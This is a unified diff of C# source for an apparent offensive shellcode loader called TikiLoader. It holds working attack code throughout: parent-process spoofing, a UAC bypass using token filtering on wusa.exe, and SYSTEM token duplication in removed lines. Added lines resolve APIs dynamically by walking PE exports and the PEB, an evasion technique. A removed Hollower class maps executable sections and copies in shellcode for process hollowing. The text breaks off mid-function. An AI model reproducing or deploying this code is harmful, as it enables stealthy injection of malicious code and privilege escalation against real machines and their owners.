||||
ref IntPtr lpSize);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate bool UpdateProcThreadAttribute(
|
||||
IntPtr lpAttributeList,
|
||||
uint dwFlags,
|
||||
IntPtr attribute,
|
||||
IntPtr lpValue,
|
||||
IntPtr cbSize,
|
||||
IntPtr lpPreviousValue,
|
||||
IntPtr lpReturnSize);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate bool DeleteProcThreadAttributeList(
|
||||
IntPtr lpAttributeList);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate bool CreateProcessA(
|
||||
string lpApplicationName,
|
||||
string lpCommandLine,
|
||||
ref Data.Win32.WinBase.SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
ref Data.Win32.WinBase.SECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
bool bInheritHandles,
|
||||
uint dwCreationFlags,
|
||||
IntPtr lpEnvironment,
|
||||
string lpCurrentDirectory,
|
||||
ref Data.Win32.Kernel32.STARTUPINFOEX lpStartupInfoEx,
|
||||
out Data.Win32.Kernel32.PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate void RtlZeroMemory(
|
||||
IntPtr destination,
|
||||
int length);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint NtQueryInformationProcess(
|
||||
IntPtr processHandle,
|
||||
Data.Native.PROCESSINFOCLASS processInformationClass,
|
||||
IntPtr processInformation,
|
||||
int processInformationLength,
|
||||
ref uint returnLength);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate void RtlInitUnicodeString(
|
||||
ref Data.Native.UNICODE_STRING destinationString,
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
string sourceString);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint LdrLoadDll(
|
||||
IntPtr pathToFile,
|
||||
uint dwFlags,
|
||||
ref Data.Native.UNICODE_STRING moduleFileName,
|
||||
ref IntPtr moduleHandle);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint NtAllocateVirtualMemory(
|
||||
IntPtr processHandle,
|
||||
ref IntPtr baseAddress,
|
||||
IntPtr zeroBits,
|
||||
ref IntPtr regionSize,
|
||||
uint allocationType,
|
||||
uint protect);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint NtWriteVirtualMemory(
|
||||
IntPtr processHandle,
|
||||
IntPtr baseAddress,
|
||||
IntPtr buffer,
|
||||
uint bufferLength,
|
||||
ref uint bytesWritten);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint NtFreeVirtualMemory(
|
||||
IntPtr processHandle,
|
||||
ref IntPtr baseAddress,
|
||||
ref IntPtr regionSize,
|
||||
uint freeType);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint NtCreateThreadEx(
|
||||
out IntPtr threadHandle,
|
||||
Data.Win32.WinNT.ACCESS_MASK desiredAccess,
|
||||
IntPtr objectAttributes,
|
||||
IntPtr processHandle,
|
||||
IntPtr startAddress,
|
||||
IntPtr parameter,
|
||||
bool createSuspended,
|
||||
int stackZeroBits,
|
||||
int sizeOfStack,
|
||||
int maximumStackSize,
|
||||
IntPtr attributeList);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint WaitForSingleObject(
|
||||
IntPtr hHandle,
|
||||
uint dwMilliseconds);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate uint NtProtectVirtualMemory(
|
||||
IntPtr processHandle,
|
||||
ref IntPtr baseAddress,
|
||||
ref IntPtr regionSize,
|
||||
uint newProtect,
|
||||
ref uint oldProtect);
|
||||
}
|
||||
}
|
||||
@@ -1,87 +0,0 @@
|
||||
using System;
|
||||
|
||||
namespace TikiLoader
|
||||
{
|
||||
public class Enums
|
||||
{
|
||||
public enum ThreadInformationClass : uint
|
||||
{
|
||||
ThreadBasicInformation,
|
||||
ThreadTimes,
|
||||
ThreadPriority,
|
||||
ThreadBasePriority,
|
||||
ThreadAffinityMask,
|
||||
ThreadImpersonationToken,
|
||||
ThreadDescriptorTableEntry,
|
||||
ThreadEnableAlignmentFaultFixup,
|
||||
ThreadEventPair,
|
||||
ThreadQuerySetWin32StartAddress,
|
||||
ThreadZeroTlsCell, // 10
|
||||
ThreadPerformanceCount,
|
||||
ThreadAmILastThread,
|
||||
ThreadIdealProcessor,
|
||||
ThreadPriorityBoost,
|
||||
ThreadSetTlsArrayAddress,
|
||||
ThreadIsIoPending,
|
||||
ThreadHideFromDebugger,
|
||||
ThreadBreakOnTermination,
|
||||
ThreadSwitchLegacyState,
|
||||
ThreadIsTerminated, // 20
|
||||
ThreadLastSystemCall,
|
||||
ThreadIoPriority,
|
||||
ThreadCycleTime,
|
||||
ThreadPagePriority,
|
||||
ThreadActualBasePriority,
|
||||
ThreadTebInformation,
|
||||
ThreadCSwitchMon,
|
||||
MaxThreadInfoClass
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum CreationFlags
|
||||
{
|
||||
CreateSuspended = 0x00000004,
|
||||
DetachedProcesds = 0x00000008,
|
||||
CreateNoWindow = 0x08000000,
|
||||
ExtendedStartupInfoPresent = 0x00080000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum LogonFlags
|
||||
{
|
||||
LogonWithProfile = 0x00000001,
|
||||
LogonNetCredentialsOnly = 0x00000002
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum AllocationType
|
||||
{
|
||||
Commit = 0x1000,
|
||||
Reserve = 0x2000,
|
||||
Decommit = 0x4000,
|
||||
Release = 0x8000,
|
||||
Reset = 0x80000,
|
||||
Physical = 0x400000,
|
||||
TopDown = 0x100000,
|
||||
WriteWatch = 0x200000,
|
||||
LargePages = 0x20000000,
|
||||
SecCommit = 0x08000000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum MemoryProtection
|
||||
{
|
||||
Execute = 0x10,
|
||||
ExecuteRead = 0x20,
|
||||
ExecuteReadWrite = 0x40,
|
||||
ExecuteWriteCopy = 0x80,
|
||||
NoAccess = 0x01,
|
||||
ReadOnly = 0x02,
|
||||
ReadWrite = 0x04,
|
||||
WriteCopy = 0x08,
|
||||
GuardModifierflag = 0x100,
|
||||
NoCacheModifierflag = 0x200,
|
||||
WriteCombineModifierflag = 0x400
|
||||
}
|
||||
}
|
||||
}
|
||||
+242
-172
@@ -1,202 +1,272 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO.Compression;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
using static TikiLoader.Imports;
|
||||
using static TikiLoader.Enums;
|
||||
using static TikiLoader.Structs;
|
||||
|
||||
namespace TikiLoader
|
||||
{
|
||||
public class Generic
|
||||
public static class Generic
|
||||
{
|
||||
private const int ProcThreadAttributeParentProcess = 0x00020000;
|
||||
|
||||
public static PROCESS_INFORMATION StartProcess(string targetProcess, int parentProcessId)
|
||||
public static object DynamicApiInvoke(string dllName, string functionName, Type functionDelegateType, ref object[] parameters, bool canLoadFromDisk = false, bool resolveForwards = true)
|
||||
{
|
||||
STARTUPINFOEX sInfoEx = new STARTUPINFOEX();
|
||||
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
|
||||
var pFunction = GetLibraryAddress(dllName, functionName, canLoadFromDisk, resolveForwards);
|
||||
return DynamicFunctionInvoke(pFunction, functionDelegateType, ref parameters);
|
||||
}
|
||||
|
||||
private static object DynamicFunctionInvoke(IntPtr functionPointer, Type functionDelegateType, ref object[] parameters)
|
||||
{
|
||||
var funcDelegate = Marshal.GetDelegateForFunctionPointer(functionPointer, functionDelegateType);
|
||||
return funcDelegate.DynamicInvoke(parameters);
|
||||
}
|
||||
|
||||
private static IntPtr GetLibraryAddress(string dllName, string functionName, bool canLoadFromDisk = false, bool resolveForwards = true)
|
||||
{
|
||||
var hModule = GetLoadedModuleAddress(dllName);
|
||||
|
||||
if (hModule == IntPtr.Zero && canLoadFromDisk)
|
||||
{
|
||||
hModule = LoadModuleFromDisk(dllName);
|
||||
|
||||
if (hModule == IntPtr.Zero)
|
||||
{
|
||||
throw new FileNotFoundException(dllName + ", unable to find the specified file.");
|
||||
}
|
||||
}
|
||||
else if (hModule == IntPtr.Zero)
|
||||
{
|
||||
throw new DllNotFoundException(dllName + ", Dll was not found.");
|
||||
}
|
||||
|
||||
sInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(sInfoEx);
|
||||
IntPtr lpValue = IntPtr.Zero;
|
||||
return GetExportAddress(hModule, functionName, resolveForwards);
|
||||
}
|
||||
|
||||
private static IntPtr GetLoadedModuleAddress(string dllName)
|
||||
{
|
||||
var modules = Process.GetCurrentProcess().Modules;
|
||||
|
||||
foreach (ProcessModule module in modules)
|
||||
if (module.FileName.ToLower().EndsWith(dllName.ToLower()))
|
||||
return module.BaseAddress;
|
||||
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
public static IntPtr LoadModuleFromDisk(string dllPath)
|
||||
{
|
||||
var uModuleName = new Data.Native.UNICODE_STRING();
|
||||
Native.RtlInitUnicodeString(ref uModuleName, dllPath);
|
||||
|
||||
var hModule = IntPtr.Zero;
|
||||
_ = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
|
||||
|
||||
return hModule;
|
||||
}
|
||||
|
||||
public static IntPtr GetExportAddress(IntPtr moduleBase, string exportName, bool resolveForwards = true)
|
||||
{
|
||||
var functionPtr = IntPtr.Zero;
|
||||
|
||||
try
|
||||
{
|
||||
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
|
||||
SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
|
||||
pSec.nLength = Marshal.SizeOf(pSec);
|
||||
tSec.nLength = Marshal.SizeOf(tSec);
|
||||
// Traverse the PE header in memory
|
||||
var peHeader = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + 0x3C));
|
||||
var optHeader = moduleBase.ToInt64() + peHeader + 0x18;
|
||||
var magic = Marshal.ReadInt16((IntPtr)optHeader);
|
||||
long pExport = 0;
|
||||
|
||||
if (magic == 0x010b) pExport = optHeader + 0x60;
|
||||
else pExport = optHeader + 0x70;
|
||||
|
||||
CreationFlags flags = CreationFlags.CreateSuspended | CreationFlags.DetachedProcesds | CreationFlags.CreateNoWindow | CreationFlags.ExtendedStartupInfoPresent;
|
||||
|
||||
IntPtr lpSize = IntPtr.Zero;
|
||||
|
||||
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
|
||||
sInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
|
||||
InitializeProcThreadAttributeList(sInfoEx.lpAttributeList, 1, 0, ref lpSize);
|
||||
|
||||
IntPtr parentHandle = Process.GetProcessById(parentProcessId).Handle;
|
||||
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
|
||||
Marshal.WriteIntPtr(lpValue, parentHandle);
|
||||
|
||||
UpdateProcThreadAttribute(sInfoEx.lpAttributeList, 0, (IntPtr)ProcThreadAttributeParentProcess, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
|
||||
|
||||
CreateProcess(targetProcess, null, ref pSec, ref tSec, false, flags, IntPtr.Zero, null, ref sInfoEx, out pInfo);
|
||||
|
||||
return pInfo;
|
||||
// Read -> IMAGE_EXPORT_DIRECTORY
|
||||
var exportRva = Marshal.ReadInt32((IntPtr)pExport);
|
||||
var ordinalBase = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x10));
|
||||
var numberOfNames = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x18));
|
||||
var functionsRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x1C));
|
||||
var namesRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x20));
|
||||
var ordinalsRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x24));
|
||||
|
||||
// Loop the array of export name RVA's
|
||||
for (var i = 0; i < numberOfNames; i++)
|
||||
{
|
||||
var functionName = Marshal.PtrToStringAnsi((IntPtr)(moduleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + namesRva + i * 4))));
|
||||
|
||||
if (string.IsNullOrWhiteSpace(functionName)) continue;
|
||||
if (!functionName.Equals(exportName, StringComparison.OrdinalIgnoreCase)) continue;
|
||||
|
||||
var functionOrdinal = Marshal.ReadInt16((IntPtr)(moduleBase.ToInt64() + ordinalsRva + i * 2)) + ordinalBase;
|
||||
var functionRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + functionsRva + (4 * (functionOrdinal - ordinalBase))));
|
||||
functionPtr = (IntPtr)((long)moduleBase + functionRva);
|
||||
|
||||
if (resolveForwards) functionPtr = GetForwardAddress(functionPtr);
|
||||
break;
|
||||
}
|
||||
}
|
||||
finally
|
||||
catch
|
||||
{
|
||||
DeleteProcThreadAttributeList(sInfoEx.lpAttributeList);
|
||||
Marshal.FreeHGlobal(sInfoEx.lpAttributeList);
|
||||
Marshal.FreeHGlobal(lpValue);
|
||||
throw new InvalidOperationException("Failed to parse module exports.");
|
||||
}
|
||||
}
|
||||
|
||||
public static PROCESS_INFORMATION StartProcessWOPid(string targetProcess)
|
||||
{
|
||||
STARTUPINFOEX sInfoEx = new STARTUPINFOEX();
|
||||
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
|
||||
|
||||
sInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(sInfoEx);
|
||||
IntPtr lpValue = IntPtr.Zero;
|
||||
|
||||
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
|
||||
SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
|
||||
pSec.nLength = Marshal.SizeOf(pSec);
|
||||
tSec.nLength = Marshal.SizeOf(tSec);
|
||||
|
||||
CreationFlags flags = CreationFlags.CreateSuspended | CreationFlags.DetachedProcesds | CreationFlags.CreateNoWindow;
|
||||
|
||||
CreateProcess(targetProcess, null, ref pSec, ref tSec, false, flags, IntPtr.Zero, null, ref sInfoEx, out pInfo);
|
||||
|
||||
return pInfo;
|
||||
|
||||
}
|
||||
|
||||
public static PROCESS_INFORMATION StartProcessAs(string path, string domain, string username, string password)
|
||||
{
|
||||
STARTUPINFO startInfo = new STARTUPINFO();
|
||||
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
|
||||
|
||||
CreationFlags flags = CreationFlags.CreateSuspended | CreationFlags.CreateNoWindow;
|
||||
CreateProcessWithLogonW(username, domain, password, LogonFlags.LogonWithProfile, path, "", flags, (uint)0, @"C:\Windows\System32", ref startInfo, out procInfo);
|
||||
|
||||
return procInfo;
|
||||
}
|
||||
|
||||
public static PROCESS_INFORMATION StartElevatedProcess(string binary, [Optional]int elevatedPID)
|
||||
{
|
||||
IntPtr hProcess = IntPtr.Zero;
|
||||
|
||||
if (elevatedPID > 0)
|
||||
if (functionPtr == IntPtr.Zero)
|
||||
{
|
||||
hProcess = OpenProcess(0x00001000, false, elevatedPID);
|
||||
throw new MissingMethodException(exportName + ", export not found.");
|
||||
}
|
||||
|
||||
return functionPtr;
|
||||
}
|
||||
|
||||
private static IntPtr GetForwardAddress(IntPtr exportAddress, bool canLoadFromDisk = false)
|
||||
{
|
||||
var functionPtr = exportAddress;
|
||||
|
||||
try
|
||||
{
|
||||
// Assume it is a forward. If it is not, we will get an error
|
||||
var forwardNames = Marshal.PtrToStringAnsi(functionPtr);
|
||||
if (string.IsNullOrWhiteSpace(forwardNames)) return functionPtr;
|
||||
|
||||
var values = forwardNames.Split('.');
|
||||
|
||||
if (values.Length > 1)
|
||||
{
|
||||
var forwardModuleName = values[0];
|
||||
var forwardExportName = values[1];
|
||||
|
||||
// Check if it is an API Set mapping
|
||||
var apiSet = GetApiSetMapping();
|
||||
var lookupKey = forwardModuleName.Substring(0, forwardModuleName.Length - 2) + ".dll";
|
||||
|
||||
if (apiSet.ContainsKey(lookupKey)) forwardModuleName = apiSet[lookupKey];
|
||||
else forwardModuleName += ".dll";
|
||||
|
||||
var hModule = GetPebLdrModuleEntry(forwardModuleName);
|
||||
|
||||
if (hModule == IntPtr.Zero && canLoadFromDisk)
|
||||
hModule = LoadModuleFromDisk(forwardModuleName);
|
||||
|
||||
if (hModule != IntPtr.Zero)
|
||||
functionPtr = GetExportAddress(hModule, forwardExportName);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Do nothing, it was not a forward
|
||||
}
|
||||
|
||||
return functionPtr;
|
||||
}
|
||||
|
||||
public static IntPtr GetPebLdrModuleEntry(string dllName)
|
||||
{
|
||||
// Get _PEB pointer
|
||||
var pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1));
|
||||
|
||||
// Set function variables
|
||||
uint ldrDataOffset = 0;
|
||||
uint inLoadOrderModuleListOffset = 0;
|
||||
|
||||
if (IntPtr.Size == 4)
|
||||
{
|
||||
ldrDataOffset = 0xc;
|
||||
inLoadOrderModuleListOffset = 0xC;
|
||||
}
|
||||
else
|
||||
{
|
||||
SHELLEXECUTEINFO shellInfo = new SHELLEXECUTEINFO();
|
||||
|
||||
shellInfo.cbSize = Marshal.SizeOf(shellInfo);
|
||||
shellInfo.fMask = 0x40;
|
||||
shellInfo.lpFile = "wusa.exe";
|
||||
shellInfo.nShow = 0x0;
|
||||
|
||||
ShellExecuteEx(ref shellInfo);
|
||||
|
||||
hProcess = shellInfo.hProcess;
|
||||
ldrDataOffset = 0x18;
|
||||
inLoadOrderModuleListOffset = 0x10;
|
||||
}
|
||||
|
||||
IntPtr hToken = IntPtr.Zero;
|
||||
OpenProcessToken(hProcess, 0x02000000, ref hToken);
|
||||
// Get module InLoadOrderModuleList -> _LIST_ENTRY
|
||||
var pebLdrData = Marshal.ReadIntPtr((IntPtr)((ulong)pbi.PebBaseAddress + ldrDataOffset));
|
||||
var pInLoadOrderModuleList = (IntPtr)((ulong)pebLdrData + inLoadOrderModuleListOffset);
|
||||
var le = (Data.Native.LIST_ENTRY)Marshal.PtrToStructure(pInLoadOrderModuleList, typeof(Data.Native.LIST_ENTRY));
|
||||
|
||||
IntPtr hNewToken = IntPtr.Zero;
|
||||
SECURITY_ATTRIBUTES secAttribs = new SECURITY_ATTRIBUTES();
|
||||
|
||||
DuplicateTokenEx(hToken, 0xf01ff, ref secAttribs, 2, 1, ref hNewToken);
|
||||
|
||||
SID_IDENTIFIER_AUTHORITY sia = new SID_IDENTIFIER_AUTHORITY();
|
||||
sia.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 };
|
||||
|
||||
IntPtr pSID = IntPtr.Zero;
|
||||
AllocateAndInitializeSid(ref sia, 1, 0x2000, 0, 0, 0, 0, 0, 0, 0, ref pSID);
|
||||
|
||||
SID_AND_ATTRIBUTES saa = new SID_AND_ATTRIBUTES();
|
||||
saa.Sid = pSID;
|
||||
saa.Attributes = 0x20;
|
||||
|
||||
TOKEN_MANDATORY_LABEL tml = new TOKEN_MANDATORY_LABEL();
|
||||
tml.Label = saa;
|
||||
int tmlSize = Marshal.SizeOf(tml);
|
||||
NtSetInformationToken(hNewToken, 25, ref tml, tmlSize);
|
||||
|
||||
IntPtr luaToken = IntPtr.Zero;
|
||||
NtFilterToken(hNewToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref luaToken);
|
||||
|
||||
hNewToken = IntPtr.Zero;
|
||||
secAttribs = new SECURITY_ATTRIBUTES();
|
||||
|
||||
DuplicateTokenEx(luaToken, 0xc, ref secAttribs, 2, 2, ref hNewToken);
|
||||
|
||||
ImpersonateLoggedOnUser(hNewToken);
|
||||
|
||||
STARTUPINFO sInfo = new STARTUPINFO();
|
||||
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
|
||||
|
||||
CreateProcessWithLogonW("xxx", "xxx", "xxx", LogonFlags.LogonNetCredentialsOnly, binary, "", CreationFlags.CreateSuspended, 0, @"C:\Windows\System32", ref sInfo, out pInfo);
|
||||
|
||||
if (elevatedPID == 0)
|
||||
TerminateProcess(hProcess, 1);
|
||||
|
||||
return pInfo;
|
||||
}
|
||||
|
||||
public static PROCESS_INFORMATION StartProcessAsSystem(string binary, int duplicatePid)
|
||||
{
|
||||
IntPtr hProcess = OpenProcess(0x00001000, false, duplicatePid);
|
||||
|
||||
IntPtr hToken = IntPtr.Zero;
|
||||
OpenProcessToken(hProcess, 0x02000000, ref hToken);
|
||||
|
||||
IntPtr hNewToken = IntPtr.Zero;
|
||||
SECURITY_ATTRIBUTES secAttribs = new SECURITY_ATTRIBUTES();
|
||||
DuplicateTokenEx(hToken, 0xf01ff, ref secAttribs, 2, 1, ref hNewToken);
|
||||
|
||||
STARTUPINFO sInfo = new STARTUPINFO();
|
||||
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
|
||||
|
||||
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
|
||||
SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
|
||||
|
||||
CreateProcessAsUser(hNewToken, binary, "", ref pSec, ref tSec, false, CreationFlags.CreateSuspended, IntPtr.Zero, @"C:\Windows\System32", ref sInfo, out pInfo);
|
||||
|
||||
return pInfo;
|
||||
}
|
||||
|
||||
public static byte[] DecompressShellcode(byte[] gzip)
|
||||
{
|
||||
using (GZipStream stream = new GZipStream(new MemoryStream(gzip), CompressionMode.Decompress))
|
||||
// Loop entries
|
||||
var flink = le.Flink;
|
||||
var hModule = IntPtr.Zero;
|
||||
var dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY));
|
||||
while (dte.InLoadOrderLinks.Flink != le.Blink)
|
||||
{
|
||||
const int size = 4096;
|
||||
byte[] buffer = new byte[size];
|
||||
using (MemoryStream memory = new MemoryStream())
|
||||
{
|
||||
int count = 0;
|
||||
do
|
||||
{
|
||||
count = stream.Read(buffer, 0, size);
|
||||
if (count > 0)
|
||||
{
|
||||
memory.Write(buffer, 0, count);
|
||||
}
|
||||
}
|
||||
while (count > 0);
|
||||
return memory.ToArray();
|
||||
}
|
||||
// Match module name
|
||||
var fullName = Marshal.PtrToStringUni(dte.FullDllName.Buffer);
|
||||
if (string.IsNullOrWhiteSpace(fullName)) continue;
|
||||
|
||||
if (fullName.EndsWith(dllName, StringComparison.OrdinalIgnoreCase))
|
||||
hModule = dte.DllBase;
|
||||
|
||||
// Move Ptr
|
||||
flink = dte.InLoadOrderLinks.Flink;
|
||||
dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY));
|
||||
}
|
||||
|
||||
return hModule;
|
||||
}
|
||||
|
||||
private static Dictionary<string, string> GetApiSetMapping()
|
||||
{
|
||||
var pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1));
|
||||
var apiSetMapOffset = IntPtr.Size == 4 ? (uint)0x38 : 0x68;
|
||||
|
||||
// Create mapping dictionary
|
||||
var apiSetDict = new Dictionary<string, string>();
|
||||
|
||||
var pApiSetNamespace = Marshal.ReadIntPtr((IntPtr)((ulong)pbi.PebBaseAddress + apiSetMapOffset));
|
||||
var apiSetNamespace = (Data.PE.ApiSetNamespace)Marshal.PtrToStructure(pApiSetNamespace, typeof(Data.PE.ApiSetNamespace));
|
||||
|
||||
for (var i = 0; i < apiSetNamespace.Count; i++)
|
||||
{
|
||||
var setEntry = new Data.PE.ApiSetNamespaceEntry();
|
||||
|
||||
var pSetEntry = (IntPtr)((ulong)pApiSetNamespace + (ulong)apiSetNamespace.EntryOffset + (ulong)(i * Marshal.SizeOf(setEntry)));
|
||||
setEntry = (Data.PE.ApiSetNamespaceEntry)Marshal.PtrToStructure(pSetEntry, typeof(Data.PE.ApiSetNamespaceEntry));
|
||||
|
||||
var apiSetEntryName = Marshal.PtrToStringUni((IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.NameOffset), setEntry.NameLength / 2);
|
||||
var apiSetEntryKey = apiSetEntryName.Substring(0, apiSetEntryName.Length - 2) + ".dll" ; // Remove the patch number and add .dll
|
||||
|
||||
var setValue = new Data.PE.ApiSetValueEntry();
|
||||
var pSetValue = IntPtr.Zero;
|
||||
|
||||
switch (setEntry.ValueLength)
|
||||
{
|
||||
// If there is only one host, then use it
|
||||
case 1:
|
||||
pSetValue = (IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.ValueOffset);
|
||||
break;
|
||||
|
||||
case > 1:
|
||||
{
|
||||
// Loop through the hosts until we find one that is different from the key, if available
|
||||
for (var j = 0; j < setEntry.ValueLength; j++)
|
||||
{
|
||||
var host = (IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.ValueOffset + (ulong)Marshal.SizeOf(setValue) * (ulong)j);
|
||||
if (Marshal.PtrToStringUni(host) != apiSetEntryName)
|
||||
pSetValue = (IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.ValueOffset + (ulong)Marshal.SizeOf(setValue) * (ulong)j);
|
||||
}
|
||||
|
||||
// If there is not one different from the key, then just use the key and hope that works
|
||||
if (pSetValue == IntPtr.Zero)
|
||||
pSetValue = (IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.ValueOffset);
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Get the host DLL's name from the entry
|
||||
setValue = (Data.PE.ApiSetValueEntry)Marshal.PtrToStructure(pSetValue, typeof(Data.PE.ApiSetValueEntry));
|
||||
|
||||
var apiSetValue = string.Empty;
|
||||
if (setValue.ValueCount != 0)
|
||||
{
|
||||
var pValue = (IntPtr)((ulong)pApiSetNamespace + (ulong)setValue.ValueOffset);
|
||||
apiSetValue = Marshal.PtrToStringUni(pValue, setValue.ValueCount / 2);
|
||||
}
|
||||
|
||||
// Add pair to dict
|
||||
apiSetDict.Add(apiSetEntryKey, apiSetValue);
|
||||
}
|
||||
|
||||
// Return dict
|
||||
return apiSetDict;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,313 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
using static TikiLoader.Imports;
|
||||
using static TikiLoader.Structs;
|
||||
using static TikiLoader.Enums;
|
||||
using static TikiLoader.Generic;
|
||||
|
||||
namespace TikiLoader
|
||||
{
|
||||
public class Hollower
|
||||
{
|
||||
private const int AttributeSize = 24;
|
||||
private const ulong PatchSize = 0x10;
|
||||
|
||||
IntPtr section_;
|
||||
IntPtr localmap_;
|
||||
IntPtr remotemap_;
|
||||
IntPtr localsize_;
|
||||
IntPtr remotesize_;
|
||||
IntPtr pModBase_;
|
||||
IntPtr pEntry_;
|
||||
uint rvaEntryOffset_;
|
||||
uint size_;
|
||||
byte[] inner_;
|
||||
|
||||
private uint round_to_page(uint size)
|
||||
{
|
||||
SYSTEM_INFO info = new SYSTEM_INFO();
|
||||
GetSystemInfo(ref info);
|
||||
return (info.dwPageSize - size % info.dwPageSize) + size;
|
||||
}
|
||||
|
||||
private bool nt_success(long v)
|
||||
{
|
||||
return (v >= 0);
|
||||
}
|
||||
|
||||
private IntPtr GetCurrent()
|
||||
{
|
||||
return GetCurrentProcess();
|
||||
}
|
||||
|
||||
private KeyValuePair<IntPtr, IntPtr> MapSection(IntPtr procHandle, MemoryProtection protect, IntPtr addr)
|
||||
{
|
||||
IntPtr baseAddr = addr;
|
||||
IntPtr viewSize = (IntPtr)size_;
|
||||
|
||||
var status = ZwMapViewOfSection(section_, procHandle, ref baseAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, protect);
|
||||
return new KeyValuePair<IntPtr, IntPtr>(baseAddr, viewSize);
|
||||
}
|
||||
|
||||
private bool CreateSection(uint size)
|
||||
{
|
||||
LARGE_INTEGER liVal = new LARGE_INTEGER();
|
||||
size_ = round_to_page(size);
|
||||
liVal.LowPart = size_;
|
||||
|
||||
var status = ZwCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, MemoryProtection.ExecuteReadWrite, AllocationType.SecCommit, (IntPtr)0);
|
||||
|
||||
return nt_success(status);
|
||||
}
|
||||
|
||||
private void SetLocalSection(uint size)
|
||||
{
|
||||
var vals = MapSection(GetCurrent(), MemoryProtection.ReadWrite, IntPtr.Zero);
|
||||
|
||||
localmap_ = vals.Key;
|
||||
localsize_ = vals.Value;
|
||||
}
|
||||
|
||||
private void CopyShellcode(byte[] buf)
|
||||
{
|
||||
var lsize = size_;
|
||||
|
||||
unsafe
|
||||
{
|
||||
byte* p = (byte*)localmap_;
|
||||
|
||||
for (int i = 0; i < buf.Length; i++)
|
||||
{
|
||||
p[i] = buf[i];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private KeyValuePair<int, IntPtr> BuildEntryPatch(IntPtr dest)
|
||||
{
|
||||
int i = 0;
|
||||
IntPtr ptr;
|
||||
|
||||
ptr = Marshal.AllocHGlobal((IntPtr)PatchSize);
|
||||
|
||||
unsafe
|
||||
{
|
||||
|
||||
var p = (byte*)ptr;
|
||||
